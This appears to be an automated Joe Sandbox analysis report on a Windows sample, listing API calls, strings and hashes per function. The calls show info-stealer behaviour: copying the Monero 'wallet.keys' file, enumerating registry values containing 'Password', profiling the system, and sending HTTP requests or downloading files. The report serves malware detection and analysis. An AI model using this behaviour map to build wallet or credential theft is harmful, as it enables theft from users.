lstrcat.KERNEL32(?,00000000), ref: 0040CA02
lstrcat.KERNEL32(?,0041DBEC), ref: 0040CA11
lstrcat.KERNEL32(?,00000000), ref: 0040CA24
lstrcat.KERNEL32(?,0041DBF0), ref: 0040CA33

Part of subcall function 00416E20: lstrlen.KERNEL32(00000000,?,?,00412BE0,0041D59B,0041D59A,?,?,004137D6,00000000,?,041908D8,?,0041D8AC,?,00000000), ref: 00416E2B
Part of subcall function 00416E20: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416E85

lstrlen.KERNEL32(?), ref: 0040CA7A
lstrlen.KERNEL32(?), ref: 0040CA89
memset.MSVCRT ref: 0040CAD2

Part of subcall function 00417070: StrCmpCA.SHLWAPI(00000000,0041DBD0,0040C8F2,0041DBD0,00000000), ref: 0041708F

DeleteFileA.KERNEL32(00000000), ref: 0040CAFE

Memory Dump Source

Source File: 00000008.00000002.2522429358.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2522429358.0000000000447000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000549000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000624000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000636000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_u5do.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessSystemTimememset
String ID:
API String ID: 1973479514-0
Opcode ID: ddc68b4faf9fd6cfd03a477aaab1a6e14f1876e64d104e0eea04d4d6aef363fc
Instruction ID: d19a215fe10c8d685073d70632a82ede6d900fe39af11de2b9913f634a463049
Opcode Fuzzy Hash: ddc68b4faf9fd6cfd03a477aaab1a6e14f1876e64d104e0eea04d4d6aef363fc
Instruction Fuzzy Hash: B1E15275910208ABCB14EBA1DD96EEE773ABF14305F11415EF107B6091DF38AE85CBA8

Uniqueness

Uniqueness Score: -1.00%

Function 00404540 Relevance: 30.2, APIs: 11, Strings: 6, Instructions: 479
networkstringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00416DA0: lstrcpy.KERNEL32(?,00000000), ref: 00416DE6

Part of subcall function 00404470: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 004044F6
Part of subcall function 00404470: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404506

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 004045D5
StrCmpCA.SHLWAPI(?,041905E8), ref: 004045FA
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 0040477A
lstrlen.KERNEL32(00000000,00000000,?,?,?,?,0041D797,00000000,?,?,00000000,?,",00000000,?,04190648), ref: 00404AA8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00404AC4
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00404AD8
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00404B09
InternetCloseHandle.WININET(00000000), ref: 00404B6D
InternetCloseHandle.WININET(00000000), ref: 00404B85
HttpOpenRequestA.WININET(00000000,04190608,?,041980E0,00000000,00000000,00400100,00000000), ref: 004047D5

Part of subcall function 00416FB0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FC5
Part of subcall function 00416FB0: lstrcpy.KERNEL32(00000000), ref: 00417004
Part of subcall function 00416FB0: lstrcat.KERNEL32(00000000,00000000), ref: 00417012

Part of subcall function 00416EA0: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416F05

Part of subcall function 00416F20: lstrcpy.KERNEL32(00000000,?), ref: 00416F72
Part of subcall function 00416F20: lstrcat.KERNEL32(00000000), ref: 00416F82

InternetCloseHandle.WININET(00000000), ref: 00404B8F

Strings

J&f, xrefs: 004047A5
", xrefs: 004049F3
------, xrefs: 0040467D
------, xrefs: 00404929
", xrefs: 004048B2
------, xrefs: 004047E8

Memory Dump Source

Source File: 00000008.00000002.2522429358.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2522429358.0000000000447000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000549000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000624000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000636000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_u5do.jbxd

Yara matches

Similarity

API ID: Internet$lstrcpy$lstrlen$CloseHandle$HttpOpenRequestlstrcat$ConnectCrackFileReadSend
String ID: "$"$------$------$------$J&f
API String ID: 460715078-2398766951
Opcode ID: 934bb100f5119b83edcb9fd6f9fa197993457016e65ac099dd7a118cb910b985
Instruction ID: e2fbf7176fc7eb33215a1d8fdd4a82cafc16ed7ff926df7fa74fdc4e30892001
Opcode Fuzzy Hash: 934bb100f5119b83edcb9fd6f9fa197993457016e65ac099dd7a118cb910b985
Instruction Fuzzy Hash: F21252769102189ACB14EB91DC92FDEB739AF54308F51419EF10672491DF38AF89CF68

Uniqueness

Uniqueness Score: -1.00%

Function 00414AE0 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 179
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

RegOpenKeyExA.KERNEL32(00000000,04191280,00000000,00020019,00000000,0041D289), ref: 00414B41
RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00414BC3
wsprintfA.USER32 ref: 00414BF6
RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 00414C18
RegCloseKey.ADVAPI32(00000000), ref: 00414C29
RegCloseKey.ADVAPI32(00000000), ref: 00414C36

Part of subcall function 00416DA0: lstrcpy.KERNEL32(?,00000000), ref: 00416DE6

Strings

%s\%s, xrefs: 00414BEA
?, xrefs: 00414B17
- , xrefs: 00414D40

Memory Dump Source

Source File: 00000008.00000002.2522429358.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2522429358.0000000000447000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000549000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000624000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000636000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_u5do.jbxd

Yara matches

Similarity

API ID: CloseOpenlstrcpy$Enumwsprintf
String ID: - $%s\%s$?
API String ID: 3246050789-3278919252
Opcode ID: f425f73bd7a44a6b109507ece3bbcb99bef99a4d6a9d3e44cc97b06e4837372c
Instruction ID: fbc8112ab3bfbfb2fdc98052a2813d45c496b4d84dbcb1503bfdf8522ef193f5
Opcode Fuzzy Hash: f425f73bd7a44a6b109507ece3bbcb99bef99a4d6a9d3e44cc97b06e4837372c
Instruction Fuzzy Hash: F1712A7590021C9BDB64DB60DD91FDA77B9BF88304F0086D9A109A6180DF74AFCACF94

Uniqueness

Uniqueness Score: -1.00%

Function 0040F630 Relevance: 19.8, APIs: 13, Instructions: 298stringCOMMON

Download Yara Rule

APIs

strtok_s.MSVCRT ref: 0040F667
strtok_s.MSVCRT ref: 0040FA8F

Part of subcall function 00416E20: lstrlen.KERNEL32(00000000,?,?,00412BE0,0041D59B,0041D59A,?,?,004137D6,00000000,?,041908D8,?,0041D8AC,?,00000000), ref: 00416E2B
Part of subcall function 00416E20: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416E85

Memory Dump Source

Source File: 00000008.00000002.2522429358.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2522429358.0000000000447000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000549000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000624000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000636000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_u5do.jbxd

Yara matches

Similarity

API ID: strtok_s$lstrcpylstrlen
String ID:
API String ID: 348468850-0
Opcode ID: bfa52de86468f06c75ce6d1a715682b1cd9076c0a6941fb9bd0619d7694f907c
Instruction ID: 2b3dd8003c7db60ae6f20250f168b485c10b0cdbdb2f80ad8031a0e3e82ebbeb
Opcode Fuzzy Hash: bfa52de86468f06c75ce6d1a715682b1cd9076c0a6941fb9bd0619d7694f907c
Instruction Fuzzy Hash: B4C1A7B5900619DBCB24EF60DC89FDA7779AF58304F00459EE40DA7191DB34AAC9CFA8

Uniqueness

Uniqueness Score: -1.00%

Function 004012D0 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 139stringfileCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 004012E7

Part of subcall function 00401260: GetProcessHeap.KERNEL32(00000000,00000104,80000001), ref: 00401274
Part of subcall function 00401260: HeapAlloc.KERNEL32(00000000), ref: 0040127B
Part of subcall function 00401260: RegOpenKeyExA.KERNEL32(000000FF,?,00000000,00020119,?), ref: 00401297
Part of subcall function 00401260: RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,000000FF,000000FF), ref: 004012B5
Part of subcall function 00401260: RegCloseKey.ADVAPI32(?), ref: 004012BF

lstrcat.KERNEL32(?,00000000), ref: 0040130F
lstrlen.KERNEL32(?), ref: 0040131C
lstrcat.KERNEL32(?,.keys), ref: 00401337

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Part of subcall function 00416FB0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FC5
Part of subcall function 00416FB0: lstrcpy.KERNEL32(00000000), ref: 00417004
Part of subcall function 00416FB0: lstrcat.KERNEL32(00000000,00000000), ref: 00417012

Part of subcall function 00416EA0: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416F05

Part of subcall function 00415260: GetSystemTime.KERNEL32(?,04197790,0041D129,?,?,?,?,?,?,?,?,?,00404623,?,00000014), ref: 00415286

Part of subcall function 00416F20: lstrcpy.KERNEL32(00000000,?), ref: 00416F72
Part of subcall function 00416F20: lstrcat.KERNEL32(00000000), ref: 00416F82

CopyFileA.KERNEL32(?,00000000,00000001), ref: 00401425

Part of subcall function 00416DA0: lstrcpy.KERNEL32(?,00000000), ref: 00416DE6

Part of subcall function 004093A0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 004093CC
Part of subcall function 004093A0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 004093F1
Part of subcall function 004093A0: LocalAlloc.KERNEL32(00000040,?), ref: 00409411
Part of subcall function 004093A0: ReadFile.KERNEL32(000000FF,?,00000000,'@,00000000), ref: 0040943A
Part of subcall function 004093A0: LocalFree.KERNEL32('@), ref: 00409470
Part of subcall function 004093A0: FindCloseChangeNotification.KERNEL32(000000FF), ref: 0040947A

DeleteFileA.KERNEL32(00000000), ref: 004014A9
memset.MSVCRT ref: 004014D0

Part of subcall function 00404DC0: lstrlen.KERNEL32(00000000), ref: 00404E4A
Part of subcall function 00404DC0: InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00404EBB
Part of subcall function 00404DC0: StrCmpCA.SHLWAPI(?,041905E8), ref: 00404ED9

Strings

\Monero\wallet.keys, xrefs: 0040134D
wallet_path, xrefs: 004012F0
.keys, xrefs: 0040132B
SOFTWARE\monero-project\monero-core, xrefs: 004012F5

Memory Dump Source

Source File: 00000008.00000002.2522429358.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2522429358.0000000000447000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000549000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000624000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000636000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_u5do.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$lstrcat$lstrlen$AllocCloseHeapLocalOpenmemset$ChangeCopyCreateDeleteFindFreeInternetNotificationProcessQueryReadSizeSystemTimeValue
String ID: .keys$SOFTWARE\monero-project\monero-core$\Monero\wallet.keys$wallet_path
API String ID: 2054947926-218353709
Opcode ID: bcf02e3bd6a5e9bd87c62f126014b2e7b3a913a3d9291dbfa5b5e0c127ed371d
Instruction ID: 465d6e3be360dc7981781b6de12631b9db2cd28431e3bfe2701297f35846b4c8
Opcode Fuzzy Hash: bcf02e3bd6a5e9bd87c62f126014b2e7b3a913a3d9291dbfa5b5e0c127ed371d
Instruction Fuzzy Hash: DD5123B195021897CB15EB61DD92BED773D9F54304F4041EDB60A62091DE385BC5CFA8

Uniqueness

Uniqueness Score: -1.00%

Function 00406FA0 Relevance: 19.3, APIs: 8, Strings: 3, Instructions: 91stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00406CA0: memset.MSVCRT ref: 00406CE4
Part of subcall function 00406CA0: RegOpenKeyExA.KERNEL32(80000001,?,00000000,00020019,?), ref: 00406D0A
Part of subcall function 00406CA0: RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 00406D81
Part of subcall function 00406CA0: StrStrA.SHLWAPI(00000000,Password,00000000), ref: 00406DDD
Part of subcall function 00406CA0: GetProcessHeap.KERNEL32(00000000,?,?,?,?,?,`v@,80000001,h0A,?,?,?,?,?,00407660,?), ref: 00406E22
Part of subcall function 00406CA0: HeapFree.KERNEL32(00000000,?,?,?,?,`v@,80000001,h0A,?,?,?,?,?,00407660,?), ref: 00406E29

lstrcat.KERNEL32(36A04020,0041DEB8), ref: 00406FD6
lstrcat.KERNEL32(36A04020,00000000), ref: 00407018
lstrcat.KERNEL32(36A04020, : ), ref: 0040702A
lstrcat.KERNEL32(36A04020,00000000), ref: 0040705F
lstrcat.KERNEL32(36A04020,0041DEC0), ref: 00407070
lstrcat.KERNEL32(36A04020,00000000), ref: 004070A3
lstrcat.KERNEL32(36A04020,0041DEC4), ref: 004070BD
task.LIBCPMTD ref: 004070CB

Strings

`v@, xrefs: 00406FAF, 004070C8, 00406FFE, 00407034, 0040707C, 00407045, 00406FB2
: , xrefs: 0040701E
h0A, xrefs: 00406FA6, 00406FA9

Memory Dump Source

Source File: 00000008.00000002.2522429358.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2522429358.0000000000447000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000549000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000624000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000636000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_u5do.jbxd

Yara matches

Similarity

API ID: lstrcat$Heap$EnumFreeOpenProcessValuememsettask
String ID: : $`v@$h0A
API String ID: 3191641157-3559972273
Opcode ID: 22c65c759e4008ac886b6aeda8a47d70719bcccf3909e077351c77a1654b374d
Instruction ID: d9fe8ddf8edd41d5d79e2c2aa3549d60ad86c8a123fe42dd1537da3b5299582f
Opcode Fuzzy Hash: 22c65c759e4008ac886b6aeda8a47d70719bcccf3909e077351c77a1654b374d
Instruction Fuzzy Hash: 4B318371E05504ABCB14EBA0DD99EFF7B75BF44305B104519F102BB290DA38BD46CB99

Uniqueness

Uniqueness Score: -1.00%

Function 00415710 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 184COMMON

Download Yara Rule

Strings

image/jpeg, xrefs: 00415836

Memory Dump Source

Source File: 00000008.00000002.2522429358.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2522429358.0000000000447000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000549000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000624000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000636000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_u5do.jbxd

Yara matches

Similarity

API ID:
String ID: image/jpeg
API String ID: 0-3785015651
Opcode ID: ebc458d2954fa87928cbffb1aa81fa40cba8a6fc2b0c4bc732e2d226e351cda2
Instruction ID: 4e1e11a2c406ea1305e74ab4ef0d66e5904d243d4ada77d8c1e4b1ca7303bf9d
Opcode Fuzzy Hash: ebc458d2954fa87928cbffb1aa81fa40cba8a6fc2b0c4bc732e2d226e351cda2
Instruction Fuzzy Hash: 30714CB5910608EBDB14EFE4EC85FEEB7B9BF48300F108509F515A7290DB38A945CB64

Uniqueness

Uniqueness Score: -1.00%

Function 00404C70 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 81networkmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 00404C8A
RtlAllocateHeap.NTDLL(00000000), ref: 00404C91
InternetOpenA.WININET(0041D79B,00000000,00000000,00000000,00000000), ref: 00404CAA
InternetOpenUrlA.WININET(?,00000000,00000000,00000000,04000100,00000000), ref: 00404CD1
InternetReadFile.WININET(c.A,?,00000400,00000000), ref: 00404D01
InternetCloseHandle.WININET(c.A), ref: 00404D75
InternetCloseHandle.WININET(?), ref: 00404D82

Strings

c.A, xrefs: 00404D71, 00404CFD, 00404D00, 00404D74
c.A, xrefs: 00404CC1, 00404DA0

Memory Dump Source

Source File: 00000008.00000002.2522429358.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2522429358.0000000000447000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000549000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000624000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000636000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_u5do.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHeapOpen$AllocateFileProcessRead
String ID: c.A$c.A
API String ID: 3066467675-270182787
Opcode ID: ff34e455916cb5254e18773c9340263e729f543755462a643926861e0345f7f7
Instruction ID: 93472a029acc8278824907ab7d145ea178407da7df790c597300061c638fc298
Opcode Fuzzy Hash: ff34e455916cb5254e18773c9340263e729f543755462a643926861e0345f7f7
Instruction Fuzzy Hash: 3731F8F4A00218ABDB20DF54DD85BDDB7B5BB88304F5081D9F709A7280DB746AC58F98

Uniqueness

Uniqueness Score: -1.00%

Function 00406CA0 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 149registrymemoryCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00406CE4
RegOpenKeyExA.KERNEL32(80000001,?,00000000,00020019,?), ref: 00406D0A
RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 00406D81
StrStrA.SHLWAPI(00000000,Password,00000000), ref: 00406DDD
GetProcessHeap.KERNEL32(00000000,?,?,?,?,?,`v@,80000001,h0A,?,?,?,?,?,00407660,?), ref: 00406E22
HeapFree.KERNEL32(00000000,?,?,?,?,`v@,80000001,h0A,?,?,?,?,?,00407660,?), ref: 00406E29

Part of subcall function 00408C20: vsprintf_s.MSVCRT ref: 00408C3B

task.LIBCPMTD ref: 00406F25

Strings

Password, xrefs: 00406DD1

Memory Dump Source

Source File: 00000008.00000002.2522429358.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2522429358.0000000000447000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000549000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000624000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000636000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_u5do.jbxd

Yara matches

Similarity

API ID: Heap$EnumFreeOpenProcessValuememsettaskvsprintf_s
String ID: Password
API String ID: 2698061284-3434357891
Opcode ID: e5b433d59e683e3853dabaec4553a197e9f76ed1b5df22dde85a26ca8bf12c56
Instruction ID: 212e66a44237aadac39c144ffd634e87161c2b2b5cb707631054264fe3c499ea
Opcode Fuzzy Hash: e5b433d59e683e3853dabaec4553a197e9f76ed1b5df22dde85a26ca8bf12c56
Instruction Fuzzy Hash: 4F613FB5D042589BDB24DB50CC45BDAB7B8BF44304F0081EAE64AA6281DF746FC9CF95

Uniqueness

Uniqueness Score: -1.00%

Function 004141C0 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 89memoryCOMMON

Download Yara Rule

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 004141DF
GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0041421C
GetProcessHeap.KERNEL32(00000000,00000104), ref: 004142A0
HeapAlloc.KERNEL32(00000000), ref: 004142A7
wsprintfA.USER32 ref: 004142DD

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Strings

\, xrefs: 004141FD
:, xrefs: 004141F9
C, xrefs: 004141E9

Memory Dump Source

Source File: 00000008.00000002.2522429358.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2522429358.0000000000447000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000549000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000624000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000636000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_u5do.jbxd

Yara matches

Similarity

API ID: Heap$AllocDirectoryInformationProcessVolumeWindowslstrcpywsprintf
String ID: :$C$\
API String ID: 3790021787-3809124531
Opcode ID: 6ca11245975395cfb749b767d31339a8af53aa26318921bdecc0eb4ed934f432
Instruction ID: 52054a8b39965f6583c41ffabf349f0ba0ed2356e3a02770a6039194ee1378f4
Opcode Fuzzy Hash: 6ca11245975395cfb749b767d31339a8af53aa26318921bdecc0eb4ed934f432
Instruction Fuzzy Hash: BA3194B0D00258EBDF20DFA4DC45BEE77B4AF48304F104099F5496B281DB78AAD5CB95

Uniqueness

Uniqueness Score: -1.00%

Function 004093A0 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 82filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 004093CC
GetFileSizeEx.KERNEL32(000000FF,?), ref: 004093F1
LocalAlloc.KERNEL32(00000040,?), ref: 00409411
ReadFile.KERNEL32(000000FF,?,00000000,'@,00000000), ref: 0040943A
LocalFree.KERNEL32('@), ref: 00409470
FindCloseChangeNotification.KERNEL32(000000FF), ref: 0040947A

Strings

'@, xrefs: 004093C3, 00409486
'@, xrefs: 00409426, 00409449, 00409429, 0040946F

Memory Dump Source

Source File: 00000008.00000002.2522429358.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2522429358.0000000000447000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000549000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000624000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000636000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_u5do.jbxd

Yara matches

Similarity

API ID: File$Local$AllocChangeCloseCreateFindFreeNotificationReadSize
String ID: '@$'@
API String ID: 1815715184-345573653
Opcode ID: 48f4b7413470cb3276c60afe27c6050599c7e1b25b920e3e6a5c65917fe61f9c
Instruction ID: e17ca2bf8fb39da35cf654cfb04ed30359ebe63801e33f8f777122e55a65d6c5
Opcode Fuzzy Hash: 48f4b7413470cb3276c60afe27c6050599c7e1b25b920e3e6a5c65917fe61f9c
Instruction Fuzzy Hash: 0B31EA74A00209EFDB24DF94C885BAEB7B5BF48314F108169E915A73D0D778AD42CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 00414960 Relevance: 14.0, APIs: 6, Strings: 2, Instructions: 50memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,00000000,00000000,?,041964E8,00000000,?,0041D774,00000000,?,00000000,00000000,?,041965C0), ref: 0041496D
HeapAlloc.KERNEL32(00000000), ref: 00414974
GlobalMemoryStatusEx.KERNEL32(00000040), ref: 00414995
__aulldiv.LIBCMT ref: 004149AF
__aulldiv.LIBCMT ref: 004149BD
wsprintfA.USER32 ref: 004149E9

Strings

%d MB, xrefs: 004149E0
@, xrefs: 0041498A

Memory Dump Source

Source File: 00000008.00000002.2522429358.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2522429358.0000000000447000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000549000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000624000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000636000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_u5do.jbxd

Yara matches

Similarity

API ID: Heap__aulldiv$AllocGlobalMemoryProcessStatuswsprintf
String ID: %d MB$@
API String ID: 2886426298-3474575989
Opcode ID: f62cb7ad2578be9c21b89e6e1bf921e4f1007482674ad6998ac9b57a816d1492
Instruction ID: f510475f390b20142bb5ad9b480526056b42ea6839ab7368ec165d8bd78ed5c1
Opcode Fuzzy Hash: f62cb7ad2578be9c21b89e6e1bf921e4f1007482674ad6998ac9b57a816d1492
Instruction Fuzzy Hash: 84111EB0D40208ABDB10DFE4CC49FAE77B8BB48704F104549F715BB284D7B8A9418B99

Uniqueness

Uniqueness Score: -1.00%

Function 00405D40 Relevance: 13.6, APIs: 9, Instructions: 133networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00416DA0: lstrcpy.KERNEL32(?,00000000), ref: 00416DE6

Part of subcall function 00404470: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 004044F6
Part of subcall function 00404470: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404506

InternetOpenA.WININET(0041D7D3,00000001,00000000,00000000,00000000), ref: 00405DAF
StrCmpCA.SHLWAPI(?,041905E8), ref: 00405DE7
InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,00000100,00000000), ref: 00405E2F
CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 00405E53
InternetReadFile.WININET(00410E73,?,00000400,?), ref: 00405E7C
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00405EAA
CloseHandle.KERNEL32(?,?,00000400), ref: 00405EE9
InternetCloseHandle.WININET(00410E73), ref: 00405EF3
InternetCloseHandle.WININET(00000000), ref: 00405F00

Memory Dump Source

Source File: 00000008.00000002.2522429358.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2522429358.0000000000447000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000549000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000624000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000636000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_u5do.jbxd

Yara matches

Similarity

API ID: Internet$CloseFileHandle$Open$CrackCreateReadWritelstrcpylstrlen
String ID:
API String ID: 2507841554-0
Opcode ID: d280471e5beb2f5dce994cb9d002c263a03ba1c9fc69a466f5796a99ebd4536c
Instruction ID: 46018c2d0393d599e49b8942d3c4f4431f3cc1562104312217daf3d911a1fc92
Opcode Fuzzy Hash: d280471e5beb2f5dce994cb9d002c263a03ba1c9fc69a466f5796a99ebd4536c
